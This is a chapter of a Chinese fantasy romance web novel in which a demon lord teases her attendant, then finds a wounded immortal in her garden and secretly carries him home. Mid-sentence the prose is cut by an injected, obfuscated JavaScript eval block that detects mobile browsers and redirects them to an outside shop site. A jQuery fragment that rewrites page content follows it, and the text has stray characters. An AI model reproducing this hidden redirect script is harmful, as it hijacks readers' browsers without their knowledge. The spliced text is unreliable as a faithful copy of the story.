少女雪白的脚懒散地搭在膝盖上,悠哉悠哉的上下晃动着。
足腕上的一圈金色铃铛随着少女的动作发出清脆悠扬的“铃铃”声。
“殿下,您是结了亲的,这样总是不好的。”
红玉双手叉腰,恨铁不成钢地盯着斜靠在软榻上的发呆的姽婳。
姽婳额头中间坠着一颗红玉石,亮晶晶的,像将滴未滴的血珠子。
身上穿了件金丝软烟罗紫裙,两只洁白的手臂大喇喇地露出来,上面戴了一对嵌着宝石的绾臂金钏。
任由红玉训诫,姽婳只单手撑着几案,一双眼睛一个眼神都没有留给红玉,却独独望向手里的绿梨。
右手握着一个饱满多汁的梨子不停的被她“咔吧咔吧”咬着。等红玉说完,姽婳又咬了一大口梨子,吃得嘴巴鼓鼓囊囊的。
这幅泰然自若不要好的模样气得红玉一屁股坐在椅子上,她黑着脸,不住的深叹气。
“真是不知道上天庭到底看上您哪儿了,非要把您和那神君元殊凑一对儿。”
话音未落,姽婳立时被梨汁呛了一下,喉咙忍不住猛烈地咳嗽起来。
她翻身坐起,面露震惊之色,有些难以置信地看着红玉。
“什么叫看上我哪儿了!我聪明伶俐,貌美如花。那元殊不知道是个多少岁的老头子,明明是我更亏一点!”
一张嘴巴飞速地说完还不够,姽婳突然瘪起嘴,装出委屈可伶的神色,伸出食指颤颤巍巍的指向红玉,
“好啊,红玉,胳膊肘往外拐,如今我还没结亲呢,你就嫌弃我了,是也不是?”
姽婳说着就把吃完的梨子核扔到篓子里,她往四周扫了一眼,便拿起红玉放在桌上的帕子。
一边嘤嘤嘤的假哭起来,一边用沾了梨子汁的手指不停地擦着红玉的手帕。
待擦干净了手指,姽婳便收了假惺惺的眼泪,将皱巴巴的帕子放回红玉手边。
一连串的小动作看得红玉是满脸黑线,眼见姽婳越装越来劲,红玉一巴掌重重拍在木案上。
“啪”的一声响后,她沉了嗓子,“说!你都劫了多少男人了!”
姽婳做魔主虽然还没有三年,可地位总是尊贵,就算真的做些什么有违身份的事情来,也没有哪个妖魔会说她半句不好。
唯独红玉不仅敢吼,还敢打。谁叫两人一同长大,偏偏姽婳又是极让着她这位姐姐的。
眼见红玉动真格,姽婳慢慢收回了恨不得翘到天上的腿,坐直身子,盘起腿。
“劫了也就罢了,不是说这个眼睛小,就是说那个皮肤粗糙,难以下手,所有被你抓过来的妖魔都被骂了一遍‘丑东西’。”
姽婳低下头,暗暗搓着自己手里的裙摆,她不服气的小声说道:“皮肤糙是癞蛤蟆精,你又不是没见过,再说了,我们魔界美女那么多,偏偏男人各个丑得……”
她昂起头却和红玉不善的眼神对上,只得连声改口道:“偏偏男人各个长得……极具个人特色。”边说着还摇头晃脑的。
红玉虽说凶她,但总归是心疼她的,看不得她受委屈。她握住姽婳的手腕,语气由硬转软,恳切至极。
“我们魔界风评本就不好,您这样……不是更加坐实了我们民风那个啥吗。”
姽婳偏过头仔细地听完红玉附耳说的话,随后她皱起眉头“哎呦”了一声。
她摆了摆手,“我呸!一群守规矩的老古董小古董,老男人哪有那些娇娇美人招人喜欢。”
姽婳歪倒一旁,又吃起果盘里的葡萄,“红玉,那是他们吃不到葡萄说葡萄酸。天天念着什么之乎者也,把脑子都给念傻了。”
她边说着边给红玉递过去一颗她剥好的葡萄,朝着红玉挑眉笑道:“来,美人,本尊亲手为你剥的葡萄。”
红玉拗不过她,像是生气了似的扭过头,姽婳愈发开心地笑起来。
她挪到红玉身旁,单手抱住她,将晶莹剔透的葡萄递到红玉嘴边。
姽婳眼睛一瞬不眨地盯着红玉的脸,贴得极近,嘴里“啧啧啧”了几声。
“唉,美人生气也是别有一番滋味,可惜,美人不肯赏脸。”
葡萄在嘴边,红玉却不肯张嘴,姽婳调转方向,干脆利落地扔进了自己的嘴里。
“虽说你年岁比我是比我大了那么一点点,”姽婳两指捏着,伸到眼前,透过拇指和食指中间的孔看向红玉。
“可你这么老成,不知道还以为你是我姑奶奶呢。”
红玉还是偏过头不肯看她,姽婳索性抱住她的手臂,撒泼耍赖起来。
“红玉,好红玉,姑奶奶,我的姑奶奶。”她一声比一声夸张地叫着,红玉一个不留神,噗嗤笑了出来。
笑声落进姽婳的耳朵里,她惊声呼道:“你笑了,你笑了我就当你不生气了。”
姽婳容色姣好,面若桃花,一张天生的笑脸哄起人来既得心应手又招人疼爱。
她心里自然是知道红玉就是和她僵着,也是僵不了多久的。紧紧地抱了一把红玉后,乐着一张笑脸喜滋滋的就往外跑去。
红玉连忙在她身后大声说道:“莫要到处乱跑,最近有些不太平,你早些回来。”
姽婳转身,跳起来和她招招手,“知道,我去消消食,去去就回。”
红玉是无奈又宠溺地笑了笑,她这位小殿下不说男女大防,怕是连什么是矜持的德行都不知道。她心里只盼着上天庭真能好好对姽婳才是。
紫云间,花草繁盛,紫花藤连成一排,女子的身影若隐若现,一声声的铃铛声回响在姽婳用法力专门养出来的后花园。
刚登上魔主之位时,姽婳总嫌弃魔界乌漆嘛黑的,没有生机活力,便自己种了许多瓜果树木来。
平日吃的梨子、葡萄都是自己种出来的。红玉总是调侃她若是投胎成凡人,不知道该是多么厉害的农妇。
姽婳照常巡视着自己的漂亮花朵们。她擅灵木之术,一路走过去,若是有枯萎的,她便会伸出手。
葱白的指尖只轻轻在花瓣上面划过,晶莹的法力便会萦绕发黄的根茎花瓣。
不消片刻,将死未死的花草就会重新焕发生机活力来。
姽婳嘴角微微上扬,哼着从魔域市集上学来的歌,摆弄着不好好按照她想法长大的枝干。
她正将一根掉落在地上的藤蔓捡起重新搭在竹架上,忽然,指尖摸到了湿润的东西。
姽婳习以为常,只以为是藤蔓折断流出来的汁液,手上不停。
等不紧不慢地理好乱七八糟的藤蔓,她才搓搓黏腻的手指,抬到眼前。
不看不知道,一看吓一跳。
指尖沾上的哪里是汁液,分明是血。
姽婳诧异地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268379|135797||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
看着被血染红的指尖,原本还带H着笑意的眼睛,此刻,冷冷沉下来。
她看向藤蔓,只见远处的草叶上,稀稀落落的沾了几滴血珠。
周遭风声静止,姽婳走近,鼻间的血腥气愈发浓重起来。
不会又是什么不知死活的来犯者吧,姽婳莫名其妙地心想。
姽婳用手背缓缓掀开花墙垂下的枝条。沁人心脾的花朵从她脸颊滑过,她手上地动作忽然停住了。
姽婳就站在那里,看着躺在自己花丛里的身穿护甲的男人。
护甲在花朵茎秆缝隙中射来的光线下闪闪泛着银光。男人偏着头,像是睡着了一般,安宁祥和。
高挺的鼻梁,浓黑的睫毛,一张苍白的脸是别样凌厉的俊美。
他就这样躺在姽婳的四季如春的花园里。
姽婳静静地看着,脸上没有表情,她看到了男人身上的伤口。
男人脸上沾上的凌乱血污更显得美人楚楚可怜,脆弱无依。
姽婳小心翼翼地伸出食指放在男人鼻间。
“还有气。”她长舒了一口气自言自语道。
姽婳重新看向男人,就在那一刻,她突然决定要把他带回去。
她试探着伸出手推了推男人,见男人没有反应,她放下心来,手上扶起男人的动作愈发迅疾起来。
将男人背在背上时,姽婳只内心窃喜。
还好本尊力气大,你可撑住了,我这就带你回去。
略有慌乱的脚步突然顿了顿,姽婳想起了红玉。不过偏头望见男人的脸后,姽婳又重新急匆匆地往回赶。
她心里想的是不让红玉看见不就成了。
越过魔殿的重重守卫,姽婳终于心惊胆战地溜回了自己的住处。
她将男人一把扔在床上,喘了几口气,“你可真重,跟头牛似的。”
姽婳擦着汗,忽然看见男人身上乱七八糟的衣服,她是从来没有照顾过人的。
脑海里思索片刻后,姽婳就跪在男人身侧,开始一件件扒了男人身上的护甲。
随着一阵噼里啪啦的声响过后,床榻旁边层层叠叠地堆着一堆衣服。
姽婳终于将男人身上的衣服扒干净,入目是光洁的皮肤,衬得剑痕和青紫更加触目惊心。
她知道眼前之人绝对是仙人,只是不知为何一个仙人会被伤到如此程度。
此人法力应当极其精湛,骇人的伤口处血液早已凝住,恢复速度奇快。
姽婳用沾了水的干净帕子给男人细细擦干净血污。把人洗干净了,姽婳就开始细细凝着这小神君的脸蛋和身材。
爱美之心人皆有之,只是纵横交错的伤口着实有碍美观,姽婳没有办法,又找来了白帛,随心所欲地包扎起来。
包到最后,姽婳忽然觉得只差根线,她就能将男人包成粽子,下汤锅煮了。
房内安静至极,一个美人光秃秃地躺在自己床上,姽婳看着看着,脸上莫名其妙地烧了起来。
不过一会儿,一张脸便烧得通红,她捂住脸,想用手给自己的脸降降温,岂料不仅是脸连带着耳朵都开始滚烫起来。
实在没有法子,姽婳突然着急忙慌地爬下床,小碎步挪到衣柜前,翻出来自己从来不穿的丑裙子。
“总是能穿的。”她一边嘴里小声地碎碎念着,一边给男人套上自己的衣服。